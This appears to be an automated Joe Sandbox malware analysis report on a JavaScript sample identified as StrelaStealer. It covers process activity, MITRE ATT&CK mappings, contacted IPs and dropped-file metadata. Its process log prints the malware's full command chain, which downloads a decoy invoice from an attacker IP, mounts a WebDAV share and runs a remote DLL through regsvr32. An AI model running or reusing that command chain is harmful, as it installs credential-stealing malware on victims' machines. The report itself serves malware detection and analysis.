Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
545019492124428424.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
545019492124428424.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/;y	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2999696287.0000025D21200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/;y	net.exe, 00000006.00000003.1779942186.00000265249EB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1780545703.00000265249EB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1786444311.0000025D214C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1780495125.00000265249B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1779942186.00000265249EB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1780545703.00000265249EB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1779680460.0000026524A0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000006.00000002.1780495125.00000265249B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1786444311.0000025D214C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588995
Start date and time:	2025-01-11 08:09:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	545019492124428424.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/54@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 20.109.210.53, 23.47.168.24, 13.107.246.45, 20.12.23.50
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:09:58	API Interceptor	27x Sleep call for process: powershell.exe modified
02:10:03	API Interceptor	1x Sleep call for process: net.exe modified
02:10:03	API Interceptor	2x Sleep call for process: svchost.exe modified
02:10:16	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3644547571625413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	894623912226711207.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073343868482663
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrO:KooCEYhgYEL0In
MD5:	F6E666F4DD85815CC88BF932994EFD9E
SHA1:	EAD495819F44BEA8893480CBF3A6185B6A19841B
SHA-256:	03E6C91E7169B50D82AD7D2474A626ECB7C384F91E2B952F91A9E8B3D8607808
SHA-512:	B5649CC32FB6ACECA80DD13CDB2E76F61302C0C130968607C618D56607B321EBA2A41E65907D034519CA50AD8768E52B919245C1B25BFF50F2E07FBD4FBF715A
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x82502066, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221237211058927
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	30D4722090CF56C607634AB83098F191
SHA1:	74E67BE03612F2E7DBF76A546628223C8D61FC75
SHA-256:	651384FF7A3DA69C6A96C329E1197F46B1CDF706D31826E6FFEF13A66F90E196
SHA-512:	77D2B3601303331818AA7AEBFE6700D76E4AB83AAE4CED7957AE0DC7C9A4C1FDAAEE15A3F0BC93639E8F5F3489A81C3388F7FD25D9D4E1DE1CA574940604370B
Malicious:	false
Preview:	.P f... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................f.....}..................RoB......}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07681582808039306
Encrypted:	false
SSDEEP:	3:gmlllKYeR63nvCjn13a/7v+bAllcVO/lnlZMxZNQl:gS/KzRWna53qr+bAOewk
MD5:	281424B19AAE49A8224704B317EAA105
SHA1:	C56526A8BCAE217D36ABE92ABE4E7BBE90CAD57B
SHA-256:	1FA6B6FC35E3BB4323DE39DCFC9D42DC14075C5533F872AA3D1141D3A2C57E05
SHA-512:	146334EEC053D81455A04D30AEE11516660FF0288D3BDC5953B6AB4B5B85A16ABDC2BC0CAE8388C40AE4F2A81E9386A42CB3631BE0FEA485737CA6AC8F58A772
Malicious:	false
Preview:	a,.......................................;...{.......}.......{A..............{A......{A..........{A]................RoB......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1472396994367005
Encrypted:	false
SSDEEP:	6:iOO+q2Pwkn2nKuAl9OmbnIFUtOZmwUVkwOwkn2nKuAl9OmbjLJ:7/vYfHAahFUtO/05JfHAaSJ
MD5:	D003FAAC0F569C14BEC0F67C6C4A3C3B
SHA1:	A1FEF7E332B726FAA53F614774F288FEB80227AE
SHA-256:	75E9EE114AC314937891CEDAAACD5DD8EB36D3A4548AAAFB62CE90801CCFDD3B
SHA-512:	FF1292097EDDC7CE299AEBFFEDFFF82170617A117DBECDB00AFAC9338FB748CE3556DB04C4997FCC25EFBBDB5221F6A4A50ED53D035867156A12E907D08525D2
Malicious:	false
Preview:	2025/01/11-02:10:03.562 1ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:10:03.564 1ea8 Recovering log #3.2025/01/11-02:10:03.564 1ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1472396994367005
Encrypted:	false
SSDEEP:	6:iOO+q2Pwkn2nKuAl9OmbnIFUtOZmwUVkwOwkn2nKuAl9OmbjLJ:7/vYfHAahFUtO/05JfHAaSJ
MD5:	D003FAAC0F569C14BEC0F67C6C4A3C3B
SHA1:	A1FEF7E332B726FAA53F614774F288FEB80227AE
SHA-256:	75E9EE114AC314937891CEDAAACD5DD8EB36D3A4548AAAFB62CE90801CCFDD3B
SHA-512:	FF1292097EDDC7CE299AEBFFEDFFF82170617A117DBECDB00AFAC9338FB748CE3556DB04C4997FCC25EFBBDB5221F6A4A50ED53D035867156A12E907D08525D2
Malicious:	false
Preview:	2025/01/11-02:10:03.562 1ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:10:03.564 1ea8 Recovering log #3.2025/01/11-02:10:03.564 1ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.143142796080456
Encrypted:	false
SSDEEP:	6:iOGjUDEpyq2Pwkn2nKuAl9Ombzo2jMGIFUtQJX1Zmw6JBRkwOwkn2nKuAl9Ombzz:7Gja0yvYfHAa8uFUtQP/6rR5JfHAa8RJ
MD5:	B03163BF9E0EDBE260797E0E7E123C2D
SHA1:	70DE4DC5E02C3D4ECF26543477281AF89FAC89FA
SHA-256:	C8D57308FAB4C0EAC8CF08F53DA5F37241B38911DF8E4AE6FB726DDA976EB91D
SHA-512:	80D93F4E654EF63767197F052DDB2D072A72A16B49FB3462A8A34D112843752B15FDCC3A8325A53AA82657BEF4ED52D785354CB5AAB7C159963F6FC3851253D5
Malicious:	false
Preview:	2025/01/11-02:10:03.644 1fa4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:10:03.646 1fa4 Recovering log #3.2025/01/11-02:10:03.646 1fa4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.143142796080456
Encrypted:	false
SSDEEP:	6:iOGjUDEpyq2Pwkn2nKuAl9Ombzo2jMGIFUtQJX1Zmw6JBRkwOwkn2nKuAl9Ombzz:7Gja0yvYfHAa8uFUtQP/6rR5JfHAa8RJ
MD5:	B03163BF9E0EDBE260797E0E7E123C2D
SHA1:	70DE4DC5E02C3D4ECF26543477281AF89FAC89FA
SHA-256:	C8D57308FAB4C0EAC8CF08F53DA5F37241B38911DF8E4AE6FB726DDA976EB91D
SHA-512:	80D93F4E654EF63767197F052DDB2D072A72A16B49FB3462A8A34D112843752B15FDCC3A8325A53AA82657BEF4ED52D785354CB5AAB7C159963F6FC3851253D5
Malicious:	false
Preview:	2025/01/11-02:10:03.644 1fa4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:10:03.646 1fa4 Recovering log #3.2025/01/11-02:10:03.646 1fa4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7ce57829-846f-457a-bae6-2c1710378e66.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962718463172039
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqL2FEsBdOg2Hgkcaq3QYiubInP7E4T3y:Y2sRds7pdMHO3QYhbG7nby
MD5:	7DECE1AB650B7BAE314862725134FBFB
SHA1:	18701B0B544C71B6B72A5E831F751AE02B8C24E5
SHA-256:	CE4928E26146B64688C10D3F72E72A2F7872BF7771D292432696D2A5499A0FEE
SHA-512:	AE79F74F92C16012050F9710A4340C0CF0C62C096DC742F8E85D0211A50EE95C9403AA919F57D7819B10DF5FB8F5D63F508CD9FC2135C58FFE5EECFF27CA0485
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139416093283","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131707},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.962718463172039
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqL2FEsBdOg2Hgkcaq3QYiubInP7E4T3y:Y2sRds7pdMHO3QYhbG7nby
MD5:	7DECE1AB650B7BAE314862725134FBFB
SHA1:	18701B0B544C71B6B72A5E831F751AE02B8C24E5
SHA-256:	CE4928E26146B64688C10D3F72E72A2F7872BF7771D292432696D2A5499A0FEE
SHA-512:	AE79F74F92C16012050F9710A4340C0CF0C62C096DC742F8E85D0211A50EE95C9403AA919F57D7819B10DF5FB8F5D63F508CD9FC2135C58FFE5EECFF27CA0485
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139416093283","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131707},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.255628775850682
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7/HJ8oB:etJCV4FiN/jTN/2r8Mta02fEhgO73goL
MD5:	DD468B934DDEFDEA73B8B271E4F2B2C9
SHA1:	24E344A3F4D58B321326B8B31CFD0481EE42D1AA
SHA-256:	87C2CDC8E2D5ADF5A194626972A4AC58B2B3C59AB800A29816A313B362558E88
SHA-512:	97E5B2F544046EAF01BD6A56CEE81D72BC6F284C0AF358ABA03EAE381BC917D102BE7C68667CBFD7353078400E15CC25F4493C15A1A94BDAA771FC1CDAC75DF9
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160349116738252
Encrypted:	false
SSDEEP:	6:iO+Fpjyq2Pwkn2nKuAl9OmbzNMxIFUti1ZmwtjRkwOwkn2nKuAl9OmbzNMFLJ:76pjyvYfHAa8jFUt0/VR5JfHAa84J
MD5:	7C18FBF9824453FE70A3FDFF8CB2259A
SHA1:	5DC3453A7AAC28567AA6623E28BE211AB4A62144
SHA-256:	9840FC84689B294E255DAAC3611747BF9C21AFC02EABC1E91E69CCC79E390078
SHA-512:	DCD94BDF4C985FF3E2EE84C2C1CE49B3A677E070FC8ED819A5F5BA666FFB5D2DF83B6D2D694F77D164482569B9A925EFB94C0495A37192A3AAEBA97B4136EC56
Malicious:	false
Preview:	2025/01/11-02:10:03.789 1fa4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:10:03.790 1fa4 Recovering log #3.2025/01/11-02:10:03.791 1fa4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160349116738252
Encrypted:	false
SSDEEP:	6:iO+Fpjyq2Pwkn2nKuAl9OmbzNMxIFUti1ZmwtjRkwOwkn2nKuAl9OmbzNMFLJ:76pjyvYfHAa8jFUt0/VR5JfHAa84J
MD5:	7C18FBF9824453FE70A3FDFF8CB2259A
SHA1:	5DC3453A7AAC28567AA6623E28BE211AB4A62144
SHA-256:	9840FC84689B294E255DAAC3611747BF9C21AFC02EABC1E91E69CCC79E390078
SHA-512:	DCD94BDF4C985FF3E2EE84C2C1CE49B3A677E070FC8ED819A5F5BA666FFB5D2DF83B6D2D694F77D164482569B9A925EFB94C0495A37192A3AAEBA97B4136EC56
Malicious:	false
Preview:	2025/01/11-02:10:03.789 1fa4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:10:03.790 1fa4 Recovering log #3.2025/01/11-02:10:03.791 1fa4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444601690876785
Encrypted:	false
SSDEEP:	384:yezci5tsiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rLs3OazzU89UTTgUL
MD5:	71F3DBCDB9B01FE725218090C92AE3FB
SHA1:	E0039E5A5A480864305E2CCDFFAEC87176E5DD9D
SHA-256:	652FA5454856809B11AC02A4AF4C0AEC16E96A5DAECE0F24FCE7178C65C56B37
SHA-512:	1AE3F8FC3A0689F55E63C0C2B70E9DD7F79DC5B9988CF9A0798DEC818F0BA15D9E8D9CF92DCD50207E6946F53962BCBB2BCF8FB02250883A7B2EC05981A67058
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774397338425379
Encrypted:	false
SSDEEP:	48:7M9p/E2ioyVAioy9oWoy1Cwoy1cKOioy1noy1AYoy1Wioy1hioybioyOoy1noy1z:7GpjuAFTXKQz2b9IVXEBodRBkQ
MD5:	BA039DC833C659A412C7943BA89E399E
SHA1:	E5AA5BE6E12FB8466D8C895E75F1E9856DCEE449
SHA-256:	F33057EE34E7735CF15ECAFA710398491D69E92C564A96C65E306D4114DBE049
SHA-512:	5C995F167EC559301A7E72FAA9EF39167820BEC73700B8309EB49C0D9CCB608CAAED52210AD4E20085AE3F7831A943A4E1F98CE3DBFBAB4E681059B7B426D48E
Malicious:	false
Preview:	.... .c.....[..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
